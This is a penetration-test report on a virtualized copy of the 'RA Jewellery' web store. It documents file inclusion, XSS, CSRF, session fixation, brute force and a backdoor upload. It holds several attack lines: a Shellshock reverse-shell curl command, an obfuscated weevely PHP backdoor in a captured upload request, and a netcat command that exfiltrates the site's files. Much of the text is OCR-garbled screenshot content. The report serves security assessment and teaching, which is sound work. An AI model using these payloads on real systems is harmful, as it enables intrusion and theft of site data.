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Executive Summary

As a store selling high-class Jewellery, RA Jewellery could be a very profitable target for malicious
hackers. If an attacker decided your website was a worthy target how would your existing security
measures perform? Would they be able to exploit anything at all, or would it shock you just how far
they could exploit? This report will demonstrate just that.

Starting with a regular user-level account, under the guise of a malicious hacker, a penetration tester
has conducted an extensive attack on a virtualized copy of RA Jewellery. Using a variety of tools and
exploits, and following the Web Application Hackers Handbook (Stuttard D, Pinto M, 2011), the tester
has unveiled a multitude of issues of varying severity. The most significant of which allows for direct
manipulation of the web server itself, and thus modification of all website content.

The store also appears to host internal company files in “Finances.zip”, which is available to any visitor
of the website who happens to check robots.txt. Other instances of similar information disclosure can
be found in various locations in the website. If a malicious attacker was to obtain such information, it
could be used to personally target the staff of RA Jewellery for further exploitation.

An attempt to secure the website has clearly been made, however, many of the mitigations don’t
consider all the ways something may be exploited. RA Jewellery is vulnerable in many ways, including
but not limited to; SQL injection, cross-site scripting (XSS), cross-site request forgery(CSRF), session
fixation, brute-force of accounts, remote code execution through malicious uploads and local file
inclusion.

In its current state, RA Jewellery is an easy target.
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1 INTRODUCTION

1.2 Aim

This paper aims to effectively demonstrate the security issues present on RA Jewellery. By
conducting a web application security assessment, the pseudo attacker will attempt to find
exploitable vulnerabilities and logical errors present in the application — if any exist.

The client has supplied a virtualized copy of their website to conduct the assessment on as
not to cause issues for customers and staff using the live version. This does not provide the
attacker with any more liberties than using a live version of the website; it just assists in
preventing downtime which could be caused by certain exploits.

Using the Web Application Hackers Handbook (Stuttard D, Pinto M, 2011) and a basic user
account supplied by the client, the attacker will conduct a structured series of attacks
following a strict methodology as not to miss anything. This report will discuss the impact of
said attacks and demonstrate how they were conducted.
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1.3 METHODOLOGY

This investigation uses the testing methodology outlined in the Web Application Hackers Handbook
(Stuttard D, Pinto M, 2011). This methodology is widely regarded as one of the most expansive in that it
covers pretty much everything; multiple server hosting technologies, multiple database vendor
exploitations, et al. As such some of the content is not relevant to RA Jewellery, whenever something is
not applicable it will be marked as such — “N/A”.

The Web Application Hackers Methodology covers the following:

1)
2)
3)
4)
5)

Mapping Application Content - discovering public and hidden resources

Analysing the Application - Identifying data entry and application functionality

Client-Side Controls - how user input is validated and how data is sent

Authentication Mechanisms — account generation, login quality and resilience

Session Management Mechanisms — token meaning, predictability, transmission and
termination

Access Controls — requirements, levels of access, insecure access control methods

Input-based Vulnerabilities — SQL injection, XSS, OS command injection, Path Traversal and file
inclusion

Function Specific Input Vulnerabilities — test for native software vulnerabilities (likely N/A).
Application Logic Flaws — identifying attack surface, testing multistage processes and incomplete
input

10) Shared Hosting Vulnerabilities — NA (Only RA Jewellery is virtualized)
11) Application Server Vulnerabilities - testing for default content, misconfigurations and generic

issues

12) Miscellaneous Vulnerabilities — Anything that doesn’t fit in the above sections

This is a very brief overview of what will be covered, the steps will be significantly more detailed in their
corresponding sections.
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2 PROCEDURE AND RESULTS

2.1 MAPPING APPLICATION CONTENT

In accordance with the WAH methodology, the first area of testing involved discovering and then
mapping the application, including both the publicly listed pages and those that were available, although
not necessarily intended to be.

Administrator access was obtained later in testing. To avoid repetition between sections, Mapping
Application Content includes what was obtained with admin access and where relevant is labelled as
such.

2.1.1 Robots.txt

Robots.txt is a file intended for use by bots and search engines using content crawlers. It informs the
crawlers what pages are not allowed to be accessed, in order to keep those pages from appearing in
search results etc. Despite the name suggesting otherwise, the contents of robots.txt are human
readable. The contents of Robots.txt was as follows:

User-agent: *
Disallow: /company-accounts

The disallowed directory turned out to contain a zipped file called ‘finances’. The file contained several
spreadsheets, many of which seemed like they should not be publicly disclosed. In case this is the case
only the filenames are listed:

account_statement.xls
customer_list.xls
customer_profile.xls
employee_profile.xls
invoce.xls
mail_label.xls
monthly_sales.xls
product_catalog.xls
sales_detail.xls

Such details could be used to perform social engineering on the employees and customers of RA
Jewellery.

2.1.2 Burp Suite Spidering

Burp Suite (portswigger.net) is a tool commonly used in web attacks, in this particular instance it was
being used to spider the website. Spidering is a way of mapping the contents of a website, it can be
manual or automated and involves following links on every page, starting with the home page, until
every linked page has been discovered. It does not find pages that are not linked.
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The list of discovered pages is very long and as has been included in Appendix Al.

2.1.3 DirBuster

While the spidering revealed most of the pages present on the website, as mentioned earlier it is
incapable of finding pages that aren’t linked from another page. This means backups, copies and other
unintentionally included pages would not be discovered. This is where DirBuster comes in.

DirBuster is a “multi threaded java application designed to brute force directories and files names on
web/application servers” (owasp.org). By using DirBuster with its included medium wordlist, the
attacker was able to discover hidden content and default files such as phpinfo.php (Appendix B1) which
reveals critical information such as the version of PHP being used, and the directory the website is in.

DirBuster also discovered a file called sglcm.bak (Figure 2.1.3a) — appears to be a backup of a SQL
Continuous Monitoring script containing the error message presented when the attacker attempts to
access certain areas of the website whilst not meeting the authentication level required.

Mozilla Firefox e ® 9
& RAJewellery.. x £ Preferences % | http://19..qlcm.bak x | VIEW USER RECO.. x = #

€ 192.168.1.10 ea wBa » =

Most Visited v

'; echo 'alert ("Bad hacker.We are filtering input

because of abuse!");'; echo
'window.location.href="index.php";'; echo "; die(); }
?>

Figure 2.1.3a - iisadmin/sqlcm.bak SQL Continuous Monitoring backup

2.1.4 Nikto

Nikto is primarily a web server scanner, although it is also particularly useful for finding default included
files and misconfigurations. Nikto can misreport vulnerabilities as it only checks version and if something
exists, so some double checking is required here and there. For example, Nikto reported that the Apache
web server was vulnerable to shellshock — an exploit that allows for remote code execution. However,
when testing with curl, this turned out not to be the case. The command used to test this was:

Curl -H “User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.1.200/1996 0>&1" http.//192.168.1.10/cgi-bin/printenv

If this had worked the curl command would not have returned anything until the tcp session was closed
by the attacker, however it returned instantly, and the attack was mitigated properly. However, it did
find several misconfigurations that were accurate such as the inclusion of “/?=PHPE9568F35-D428-11d2-
A769-00AA001ACF42” and several other default PHP files. The full Nikto scan can be found in (Appendix
C1).
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2.15

Manual testing

Some manual testing was also conducted to find anything that may have been missed by the scanners.
Testing was limited to key areas of functionality and produced one finding. A copy of

“Changepassword.php” exists, it is literally called “copy of Changepassword.php”. The consistency of the

naming scheme assisted in the discovery of the copy; files on the website are mostly all lower case so
when testing the attacker primarily explored lower case additions such as “Changepassword copy.php”
and “Changepasswordcopy.php” before finally finding “copy of Changepassword.php”

2.1.6 Simplified Application Map

In order to assist with the testing of the application the following map was created. The map does not
show everything on the website but shows what seemed to be the intended access per level of
authentication.

about php

T

contact php

T

featured.php

T

latest php

topsell php

topviewed. php

T

search.php

T

appendage.php

T

e :

index.php

'

viewpurchase.php

¥

register.ntmi

'

login.php

|

!

TIT

l

logout php

view.php

—> cart.php

viewpurchase.php

profile.php

l

checkout php

!

receipt php

'

i

¥

¥

viewprod.php

viewusers.php

viewpage.php

UNAUTHENTICATED

AUTHENTICATED

AUTHENTICATED AS
ADMIN

Figure 2.1.6a — Simplified Application Map
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2.2 ANALYSING THE APPLICATION

2.2.1

2.1. |dentify
functionality

2.2. |dentify data
entry points

2.3. |dentify
technologies

$od L

2.4. Map the attack surface

Identifying Functionality

Figure 2.2a — (P798, Stuttard D, Pinto M, 2011)

RA Jewellery is an online store that sells jewellery. It has three levels of authentication;
guest/unauthenticated, user and administrator. The website has several key areas and the access to
these areas varies depending on the level of authentication. The levels of access and areas of
functionality are detailed in Figure 2.2.1a below.

Type View | Add checkout | Change Change | register | login Access Access | Edit
items | items password | profile adminhome | admin | website
to picture directory area content
cart
Guest | v v v v v
User |V v v v v v v v
Admin | v v v v v v v v v v

For some reason, despite not being logged in at all, guests on the website may upload profile pictures, of

Figure 2.2.1a — Table of Functionality

course it won’t be attached to any account however if there is any flaw in the upload system (see
section 2.7.2), then they will be able to exploit the website with minimal effort and leaving little trace —
as no account is associated. Similarly, the change password page can be accessed by any level, which
expands the attack surface.

Access to the register and login pages isn’t a vulnerability but a logged in user has no reason to be
accessing the login or register pages.

Pictures can be uploaded to the web application using the change picture button on the profile page.

If there had been any vulnerabilities in any of the admin area pages they could very easily be exploited
as all levels of authentication have access to the directory and as such can see all the included files as
can be seen in (Figure 2.2.1b). Although there appeared to be none now, it is still a bad idea to show a

list of all the admin area files as they could be vulnerable in a future version.
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2.2.2

Index of fadminar=a

£ | @ 192.16B.1. 10Vadminareal

[ Most Vistedw [iOffensive Security Yo Kall Linux S Kall Docs s Kall Tools & Ex|

4k Preferences x

kid This network may require you to login to use the Intemet.

Index of /adminarea

Name

lified Size -

4’ Parent Directory

3 confirmcategory.php

2016-07-28 10:41 915
2014-03-26 00:08 352
2014-03-19 1906 133
2014-05-18 14:36 1 3K

3 confirmeditcategory.php 2016-07-28 10:41 1.3K

*Elmﬁcmcﬂmmphn

[# confirmeditprod.php
3 confirmedits
3 confirmedituser.php
3 confirmprod.php
[# confirmsubcat.php
[# confirmuser.php
[# default.php
z delconfirm. php
[# deletecategoryphp
3 deletepage. php
[#) deleteprod.php
[P deletesubcat.php
3 de Hl.c-!l;w[.nh[g
3 editcategory. php
3 editpage.php
[# editorod oho

2016-07-28 10:41 1.3K
2016-07-28 10:41 1.8K
2016-07-28 10:41 1.4K
2016-07-268 10:41 21K
2014-05-18 15:02 1.6K
2014-05-18 14:42 1.3K
2014-05-18 14:43 1.8K
2016-07-28 10:41 279
2014-05-18 15:02 1.5K
2014-05-18 1444 11K
2014-05-18 14:45 1.0K
2014-05-18 14:45 1.1K
2014-05-18 14:45 1.1K
2014-05-18 14:45 1.3K
2016-07-28 10:41 4.0K
2016-07-28 10:41 3.8K
2016-07-28 10:41 6.3K

Figure 2.2.1b - /adminarea/ Guest Access to Adminarea Directory

Identifying data entry points

The web application has several data entry points there were identified by reviewing the pages mapped
earlier as well as reviewing data from the Burp Suite Proxy. The Proxy allows an attacker to review the
information being posted to a form or page. For example, the login window accepts a username
“txtusername” and a password “txtpassword”. The login of the provided hacklab user can be seen in
Figure 2.2.2a below.

Burp Suite Free Edition v1.7.21 - Temporary Project
Burp Intruder Repeater Window Help
Target | 1o | spider | scanner | intruder | Repeater | sequencer | Dacoder | comparer | Extender | Project options | user options | Alerts |

o0

~[itercep [ HTe history | webSockets history | Options

[ .#] Request to httpy/192.168.1.10:80
[ Forward || Drop | | interceptis on | | Action J

[WT Params THeadars T Hex 1

FOST /process chln php HTTR/L.T

Host: 192.168.1

User- Agent: Ma;xLla/.a 0 (X11; Linux x865_64; rv:d5.0) Gecko/20100101 Firefox/ds.0
Accept: text/html,application/xhtmlxnl,application/xml;q=0.9,+/+;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: http://192.168.1.10/login. php

Cookie: PHPSESSID=0571000nnvblojvasmucovzass; SecretCookie=58575274615734684b533074484470305a58487941 6ad5314d4467764f 4445784d544d3d ;

connection: close
Content-Type: application/x-www-form- urlencoded
Content-Length: 39

txtusername=hacklab&txtpassword=hacklab

=) G [rwea

.
v

0 matches

Figure 2.2.2a — Login as hacklab
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The following data entry points were identified using visual and Burp Proxy reviews of pages discovered

in section 2.1.

User input points:

Guest and above

Admin only

register.php

editcategory.php

ConfirmR.php

editpage.php

register.html

editprod.php

register.php

editsubcat.php

Changepassword.php

edituser.php

(via above) updatepassword.php

edituser.php

copy of Changepassword.php

newcategory.php

login.php

newprod.php

(via above) processlogin.php

newsubcat.php

changepicture.php

newuser.php

search.php

(via above) searchresult.php

profile.php

URL Parameters:

Figure 2.2.2b — User Input Points

Page

Example

viewproduct.php

viewproduct.php?ltems=0011&Subname=Mangalsutra&MenuCat=3

topviewed.php

topviewed.php?ltems=0031&Subname=Views&MenuCat=8

topsell.php

topsell.php?ltems=0032&Subname=Sellings&MenuCat=8

appendage.php

appendage.php?type=terms.php

2.2.3 Identifying Used Technologies

Figure 2.2.2c -URL Parameters

As mentioned in section 2.1, phpinfo.php was not disabled; phpinfo provided most of the information
required to identify the technologies that are being used. A few highlights can be seen in Figure 2.2.3.a.

Apache Version

Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7

_SERVER["CONTEXT_DOCUMENT_ROOT"] | /mnt/sda2/website

Figure 2.2.3a — phpinfo.php Technology Identification

Alternatively, this could have been identified with the other php default includes discussed in section
2.1, or reviewing the output of the Nikto scan as can be seen in Figure 2.2.3b.

‘ + Server: Apache/2.4.3 (Unix) OpenSSL/1.0.1c PHP/5.4.7

Figure 2.2.3b -Nikto Technology Identification

Put your results in here. Any tables or results should be included here unless there is a large amount of
data. Appendices should be used for large amounts of data and referenced in the text. Only important
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details should be included in this section, i.e. material that convinces your client about the (hopefully
fantastic) performance of your design/tool/etc.
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2.3 CLIENT-SIDE CONTROLS

3.1. Transmission of 3.2. Glient-side input
data via client controls

Hidden fields I I Length limits I
Cookies I \ ¢ | JavaScript validation I

3.3. Browser
Extensions

Java applets I
ActiveX controls I

Preset parameters I Disabled elements I Flash objects I
ASP.NET ViewState I Silverlight objects I

Figure 2.3a - (P800, Stuttard D, Pinto M, 2011)

-y

In order to establish how user input is validated several things must be reviewed. Firstly, the attacker
must gain an understanding of how data is transmitted between the client and the web application.
They must then establish whether there are any defences in place — protecting the application against
malicious data sent. With server-side mitigations you know they will behave. However, client-sent data
cannot be trusted, JavaScript and HTML-based mitigations can be easily bypassed and on their own are
no good.

2.3.1 Transmission of Data Via the Client

By using the Hidden Fields Highlighted option in the Burp Suite Proxy, hidden fields can be very easily
identified. There are several pages with hidden fields on RA Jewellery: index.php (Figure 2.3.1a),
view.php (Figure 2.3.1b), cart.php (Figure 2.3.1c), viewproduct.php (Figure 2.3.1d), topviewed.php
(Figure 2.3.1.e) and finally topsell.php (Figure 2.3.1f)

—

RA Jewellery Online Store - Mozilla Firefox @ @ @ [ RA Jewellery Online Store - Morilla Firefox & © @
< /& RAL. x \fkPrefere.. | hupil.sfpg | EDITPA({> # - </ & RAL. x |3k Prefere.. | httpil.slpg | EDITPA(> # -
(€) ®|192.168 L 107mcex php ¢l » = (&) ©192.168.1.10/view.php ¢l » =
Most Visited ¥ Most Visited v

Price Rs. 375.00
Enter Quantity:
Silver
Rs. 375.00 [ Hidden field [txtuserid] oz | |
E”?%?n field [ Hidden field flewelid] o | |
xti
Cr—
Add to Cart i
Information
Contact Info
Figure 2.3.1a — index.php hidden Figure 2.3.1b — view.php Hidden
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RA Jewellery Online Store - Mozilla Firefox RA Jewellery Online Store - Mozilla Firefox @ @ @

/& RA Jewellery On... x | £ Preferences % | hitp://192..cturesfjpg *  EDIT PAGE % VIEW USER RECOI < /& RAL x \gkPrefere.. | htpl.sip> * ~

¢ Search w B 4 € 192.168.1.10,
[ Most Visited v

»

€ 192.168.1.10/cart

Most Visited v
SHOPPING CART
PEEL| PRODUCT  (QUANTITY [PRICE [AMOUNT] UPDATE QTY A REMOVE ITEW
Hidden field|[Hidden fiel Hidden fi g
0317 |SiverBrooc s 00 txtjewelid txtjewelid] fror7-1018 | [txtjewel -
o ipa R e [ 'Jnsu ] i ‘lnzn ] ] 092526 [ ‘Jnsu ] Hidden field
- [txtid]
oo
Total Quantity T
Total fiems T Add o Cant
Sub Total B
VAT (15%) 56
Figure 2.3.1c — cart.php Hidden Figure 2.3.1e — topviewed.php Hidden
[ RA Jewellery Online Store - Mozilla Firefox @ @ @ ﬁRA Jewellery Online Store - Mozilla Firefox @ @& @
& RAJ. = | &f Prefere..  hitp:/..sfjpg l >+ - & RAJ. x \ 3k Prefere... hnp:/,.squ > * -
* 192.168.1.10. » = € 192.168.1.10, l el » =
7 Most Visited v [ Most Visited v
»Q \;‘
Hidden field Diamond Carte:20
[txtid] s
o= Hidden field
[txtid]
0002
Figure 2.3.1d — viewproduct.php Hidden . .
g P php Figure 2.3.1f — topsell.php Hidden

The web application appears to only use PHP sessions, despite having a cookie “SecretCookie” that is
generated on login. The attacker confirmed this by logging in as hacklab, then deleting “SecretCookie’
and reloading the page (no effect on login status), then vice versus — when session is deleted user is
logged out. That is the way it should be done — the cookie should have no effect on the applications

’

login status.

However, the cookie itself does not appear to be securely generated:
6147466061327868596a706f59574€72624746694f6a45314d4467794e6a4d354e44553d

In hex, ‘=" is the equivalent of 3d, converting the string from hex to ascii gives:
aGFja2xhYjpoYWNrbGFiOjE1MDgyNjM5NDU=

A base64 string typically ends with single or double equals so converting from base64 to text gives:
hacklab:hacklab:1508263945

The cookie generation method can be very easily deduced as demonstrated above, it would be very easy
for an attacker to steal a user account by performing XSS or even a man in the middle attack to monitor

traffic.
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2.3.2 Client-side Input Controls

Several areas of the website have client-side limitations in place, for instance on register.php there is a
function “acceptY()” for validating some of the input fields; it doesn’t cover all the fields though so even
as a client-side protection it isn’t very good.

Passwords are limited to 10 characters at registration. Users are not informed of this and so
discrepancies in the character limit for the password field — such as the login having no character limit-
means some users may not be able to access their accounts.

As mentioned earlier, all client-side input controls on RA Jewellery can be bypassed and as such, user
input should always be checked server-side.

2.4 AUTHENTICATION MECHANISMS

2.4.1 Data Attacks

By registering multiple user accounts the attacker was able to establish the password requirements,
which are rather lacking. A password must be at least five characters long, and as mentioned earlier it
cannot be longer than 10 characters — not that you will be informed of this if you exceed 10.

Accounts can have special characters but using “ or “ will break the SQL meaning the registration field is
likely SQL injectable. There seems to be no issues when using ‘<’ and >’ XSS through the user
information is likely also possible.

The login form is too verbose and as such will help an attacker. For instance, submitting an invalid
username and password tells the attacker “username not found” as can be seen in (Figure 2.4.1a).

RA Jewellery Online Store - Mozilla Firefox e® 0
Nessus Hom..  phpinfo) ITEMS BOUG... Index of fincl..  VIEW CATEG.. | ) Comne... x | phpinfo) LJ https..b-ab | % Preferenc.. | Objectnotfo. = +
€ @F & 192.168.1.10/processlogin phy x |1Q Search wEe ¥ a9 =

[0 Most Visitedv [llOffensive Security "\ Kali Linux "\ Kali Docs *\Kali Tools s Exploit-DB W Aircrack-ng fKali Forums \ NetHunter @ Getting Started

Username not found

data from 192.168.1.10...

Figure 2.4.1a — Username Not Found

However, when a valid username is given with an invalid password the attacker will be told that it is the
password which is wrong as can be seen in (Figure 2.4.1b). This makes enumeration of usernames very
easy for the attacker — and even assists with attacking passwords.

12|Page



RA Jewellery Online Store - Mozilla Firefox °o@ 0
Nessus Hom.. | phpinfo( ITEMS BOUG... | Index of incl.. | VIEW CATEG.. | 7 Conne.. x | phpinfo() (J hitps...b-ab | 2% Preferenc. | Objectnotfo.. | +
€ © & | 192.168.110/processlogin.pf x eare *E ¥ O =

5 Most Visitedv JfJOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools  Explot-DB WAircrack-ng giKali Forums \ NetHunter @ Getting Started

Password not found!

Transferring data from 192.168.1.10.

Figure 2.4.1b — Password Not Found

Accounts do not appear to have any ‘locked out’ functionality and so an attacker can make as many
guesses as they want without triggering any account defence mechanisms. This, in combination with the
verbose error messages allowed the attacker to brute force the admin password using a tool called
Hydra (kali.org) as can be seen in (Figure 2.4.1c).

Figure 2.4.1c — Admin Password Cracked with Hydra

2.4.2 Credential Handling

The application allows for non-unique usernames, it is fine to have something else as the primary key for
the ‘users’ database (user_id). However, it is not fine to make usernames a non-unique field when the
username is what is used to login. While signed in with the hacklab user the attacker was able to visit
the registration page and create another user called hacklab as can be seen in (Figure 2.4.2a) — to
protect the privacy of regular users some information has been redacted.

D ‘ First Name ‘ Last Name ‘ Username ‘ Password ‘ Email | Address | Tel | Acc Type | Status | ‘

0002 | Benny Hill admin joseph admin@hacklabmadeup.com | Montagne Blanche |-| Administrator | 0 Edit | Delete
0003 | Steve Brown hacklab hacklab hacklab@hacklab.com 1 Bell Street | 59999995 | user 1 Edit | Delete
0006 | name 1 surname 1 | username 1 | password 1 | email 1@email 1.com billing 1 1 user 1 Edit ‘ Delete
0007 | test test hacklab testt test@test.test test street | 7 user 1 Edit ‘ Delete

Figure 2.4.2a — Non-Unique Usernames
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If a user accidentally picked a username that was already in use- perhaps not even maliciously they may
find that they are unable to log in, just as the second “hacklab” user (id 0007) was unable to log into
their account. Since the login form requires that email addresses have not been used before the user
may just give up trying to shop with RA Jewellery — especially if they only have one email address. As
they won’t be able to create a new account with the same email address and they won’t be able to log
into their existing one because the server will pick the top-most matching username and then detect the
password as invalid.

Similarly, if a user happened to create an account with the same username and password as an existing
account they would be logged into the other users account instead of their own.

Credentials sent over HTTP are not secure and once again, may be stolen by an attacker performing a
man in the middle attack.

2.5 SESSION MANAGEMENT MECHANISM

2.5.1 Token Generation

Unlike cookies, the PHP sessions did not appear to contain any useful information — in the version of
PHP being used they are randomly generated with urandom by default; sessions on the application
appear to be making use of that feature.

2.5.2 Token Handling
Unfortunately, session generation still has flaws. Unless a session ID is generated on login for every login
it cannot be considered secure.

Session fixation occurs when a session ID does not regenerate on login. When a user logs in a session ID
is generated and given to a client (client-side), the server then assigns values specific to the currently
logged in client to that Session ID (server-side). when the user logs out those values are unassigned.
Another user logs in using the same browser, the session ID doesn’t update. The previous user could use
their session ID to access the second user’s session.

By comparing the session ID between logins of the users “Hacklab” and “admin”, using the Burp Proxy,

the attacker was able to confirm the existence of session fixation. Both users had a session ID of
“0571000nnvbl0jvg9mucov2as5” as can be seen in (Figure 2.5.2a).
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Jont L IHTTD history l webSackats history l Opticns

| Request to httpy/192,168.1.10:60

Forward | | Drog Intercest is on Action o | 2|
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| Raw.| Params | Headers | Hex
GET /index.php HITR/1.1
Linux x86_6&; rv:&s.C 0
txhtmlexnl, spplicatio
f 634531404467754e5345 3244545134 ;
- -]
Waity .
{ v
2= b [ cvztchn‘.i
WebMaster Area - Mozilla Firefox
* Connecting x | £ Preferences x € http://192..hp?id=0001 x  [TEMS BOUGHT x  VIEW USER RECORDS x  http://192.16. pxturesfpg x

€ ' 192.168.110

{5 Most Visited v

WEB MASTER AREA

Hi, admin Good To See You Working! || Logout

| Home | Products | Categories | Sub Categories | Users | | PAGE |
Burp Suite Free Edition v1.7.21 - Temporary Project e ® 0

Burp Intruder Repeater Window Help

Sequencer | Decoder Comparer | Extender I Project optiens [ User options | Alents |
Target T I Spidar I Scannar ] Intruder ] Repeater

_ ) ntergept lrﬂ'-s history i webSockets hvs!ory' [bp::onsﬁl

# Reguest to http//192.1568.1.10:80

Forward | Drop Intercept is ... Action HEES
| Raw | Params [Headev: Ikex |

ninarea/viewprod.php HTTR/1.1

@
-
)
T

(X11; Larux xB6 64; rv:a5,0) Gackes 0e101 Firetox/4%.0
ication/xhtml+xml  application/xml;q=0.9,%/4;q=0.8
Language: en-US,en;q=0.5

68.1.10/admnarea/admnhome. php

@5710connvb LOj voam |
S27461 5734651 63

5314d4457 7940 6a% 1 354362453d;

Figure 2.5.2a — Session Fixation Between Admin and Hacklab

On the change password form a user does not have to provide the old password in order to change the
new one, that means it would be possible to perform CSRF on the change password form. An attacker
could send a logged in user a link to the website that looks like this:

192.168.1.10/Changepassword.phpNewPassword=password&ConfirmPassword=password&Submit=Submit

If the user was to click on the link their password would be changed to “password” and they likely would

have no idea what just happened. If combined with file inclusion or XSS such a request could be well
hidden.

Since the website uses HTTP, PHP sessions could be stolen during transport, like all other data submitted
this way.
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2.6 Access CONTROLS

In order to thoroughly test access controls varying levels of access had to be tested. This involved trying
to access content as a guest, then a user, then as admin. The implementation of PHP sessions seems to
work as intended where used.

As mentioned in Section 2.1, the access controls do not appear to be used consistently throughout the
site. Guest accounts have access to as many pages as users. Even pages such as profile.php which have
no good reason not to be session managed as can be seen in (Figure 2.6.1a). The only area of the
website with a consistent access control is the admin area.

RA Jewellery Online Store - Mozilla Firefox 00
& RAJewellery Online .. % | & RA Jewellery Online .. x | ITEMS BOUGHT % | VIEWUSERRECORDS ~ x | http://192.16..pictures/jpg x = 1% Preferences x| *
€ 192.168.1.10, d wBe 9 3 A

{5 Most Visited v

Profile page

Change password

Highlight Al Match Case x
Figure 2.6.1a — Guest Access to Profile.php

Generally, the website seems to assume if a link to something isn’t provided then it can’t be accessed,
without session management on this page anyone could upload as many images as they wanted.
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2.7 INPUT-BASED VULNERABILITIES

Most significant vulnerabilities are caused by unexpected user input, they can affect any aspect of an
application and at their most severe provide direct control over the application and its associated web
server. Having identified attack surfaces as part of Section 2.1, possible vulnerabilities were identified.
These possible vulnerabilities could now be tested.

2.7.1 Fuzz All Request Parameters

The pseudo attacker manually performed some of the parameter fuzzing. For URL Parameters this
involved testing script tags and file locations in the parameters to see if there was any file inclusion
(remote or local), or if there were any reflected XSS vulnerabilities.

In testing the Subname field of viewproduct.php was found to be vulnerable Reflected XSS as can be
seen in (Figure 2.7.1a) below. Despite topsell.php and topviewed.php both using similar fields they do
not appear to be vulnerable to this attack.

RA Jewellery Online Store - Mozilla Firefox 06 0‘
C RAJewellery Online .. % | +
€ ) ® | 192.168.1 10/viewproduct php?items=0004&Subname ptalert(L; ipt B ¥ A O =

[EMost Visited [ Offensive Security \Kali Linux \,Kali Docs \Kali Tools  Exploit-DB W Aircrack-ng fliKali Forums "\ NetHunter @ Getting Started

Figure 2.7.1a — viewproduct.php Reflected XSS

Delivery information and terms do not have their own links, instead they are accessed through
appendage.php, for instance " appendage.php?type=terms.php”. The type field of appendage.php is
vulnerable to file inclusion and can be used to dump the passwd file as can be seen in (Figure 2.7.1b).
This vulnerability can be used to execute arbitrary PHP code that might not otherwise be able to run -
e.g. can upload to a non php page.

RA Jewellery Online Store - Mozilla Firefox (- C I <) 1
& RA Jewellery Online .. x | 4
€ ) 9 | ® [ 192.168.1.10/extras.php?type=/etc/passwd e ||Q search wBeE ¥+ a =
[& Most Visitedv [l Offensive Security " Kali Linux "\ Kali Docs "\ Kali Tools ® Exploit-DB W Aircrack-ng glKali Forums "\ NetHunter @ Getting Started

(&J This network may require you to login to use the internet.

| Show Login Page | x

ABOUT US

root:x:0:0:ro0t oot binish Ip:x:7:7:1p:Narispoolipd:ibin/sh nobody:x:65534:65534:nobodynonexistent/binfialse te:x:1001:50:Linux User,,shomeftc:inish

Figure 2.7.1b — appendage.php File Inclusion
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2.7.2 Testing Input for Script Injection (PHP)
If the image uploader identified in Section 2.2 does not properly check the file type of uploaded files,
then a malicious script may be uploaded in place of an image.

Using a tool called weevely (Kali.org), the attacker created a password protected -this doesn’t matter so
much as the application was virtualized- php based backdoor. The backdoor was saved as a .jpg file so
that the content type would meet basic requirements.

The attacker then captures the file upload in transit and changes the file extension to .php to allow the
php code to execute but leaves the content type as “image/jpeg” in to avoid tripping any type based
detections. If there happened to by type based detection the next thing that would have been tried
would be changing the file name to “jpg” with no extension as many extension detection systems only
check the last characters of a file to determine the type. While that method would not have worked on
its own (PHP only runs on PHP pages), with the file inclusion discovered earlier it would be possible to
include the image on a php page and thus the exploit would still work.

Luckily for the attacker it was only simple content-type detection that was being used, so simply
changing the file extension to .php during the upload was enough to allow upload. The changes required
can be seen in (Figure 2.7.2a) below.

. .
Burp Suite Free Edition v1.7.27 - Temporary Project e 0 RA Jewellery Online Store - Mozilla Firefox o 0 O
Mipalgtode s epeate it anateln & RAJeweller.. x | O Connecting.. x | VIEWUSERRE.. x =& RAJeweller. x  ff Preferences x 4
[ mepeater | sequencer | Decoder | Comparer | Extender | Projectoptions | Useroptions | Alers | | L . _
[ = I 1 GerED i = [ Intruder | | €) ®|192.168.1.10/proflle php x Search wBe ¥ A O =
HTTP history | WebSackets history | Optians [ Most Vistedv [l Offensive Security %, Kali Linux %, Kali Docs * Kali Tools s Exploit-DB Wy Aircrack-ng
[#) Request to http:7192.168.1.10:80

Forward Drap [ interceptison | Action mment this item (D]&]
Raw | Params | Headers | Hex
POST changepicture.php ATTP/L.1 0
Host: 192.166.1.10 Update image

User-Agent: Mozilla/5,0 (X11; Linux i686; rvi52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtnlexnl,application/xml;g=0.9,+/*;a=0.8 Upload Photo
Accept-Language: en-US.en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.166.1.10/profile.php

Cookie: PHPSESSTD=bdvlenfd4glugstnin7cl5c613;
SecretCookie=614746626132786850627077595845726432397052446 7842544134406 3507042445572

Connection: close

Upgrade- Insecure-Requests: 1

Content-Type: multipart/forn-data; boundary=s=--«s==s==ssmssmssressonson 16993597562341950461391671460
Content-Length: 1675

| Browse

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 16993597562341950481391071460
Content-Disposition: form-data; name="uploadedfile’; filename="weevely.php"
Eontent-Type: image/ipeg

<7php

se64_decodez] (
$0="

z|zlz]55is51z]i ("
k{sjr:} retz|uz|rn

"stz|rtolowez|r"z|;$i=gm(1]1[0]z|.$m[1z|1(1];

", crxLexLatexLxl_funslctxlion' )
Lues ($q) :pregz]_mateh_alz|L(*/([\\z|wl) [z|\\w-2|1+(7::q2]=0.2] (I\\d])) 72| . 72|/ §ra.2

z|base6z|4_encodz|e(x(gzz|coz|mprez|ss($o) ,Sk)z|) 12| print (*<sk=z |§d</sk

TP_Az|CCEPz|Tz| _LANGUAGEZ|"];if(z] sra) {su=z|pzlzlarse_url(zISrr)ipaz|rse_stris

") arzlrayd /" s(3s[$i],0,z1z1$e))),5k)z])); $o=ob_gez|t_
i$p=sz|zlss(sp.3):zlz| Yiflzlarray_key_exists(si.zlzlsz

*.$p.$0.$v.$G.SH. 0. §F.33.5K.55) 3

sk=sD(", $r)isk();
7>

EEEE

0 matches |Waiting for 192.168.1.10...

Figure 2.7.2a — Backdoor File Upload

Then using Weevely the attacker logged into the uploaded back door, and copied over the website as
can be seen in (Figure 2.7.2b) below.
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root@kali: ~ (- O] QD.
File Edit View Search Terminal Help

:~# weevely http://192.168.1.18/pictures/weevely.php password
weevely 3.2.0
nobody@box: /mnt/sda2

weevely/sessions/192.168.1.18/weevely @.session

Browse the filesystem or execute commands starts the connection
to the target. Type :help for more information.

! ely= cd ..
nobody@box: /mnt $ ||

nobody@box:/mnt/sda2 $ tar c website | nc -w 10 -1 -p 1996 :~# nc -w 10 192.168.1.10 1996 > website.tar

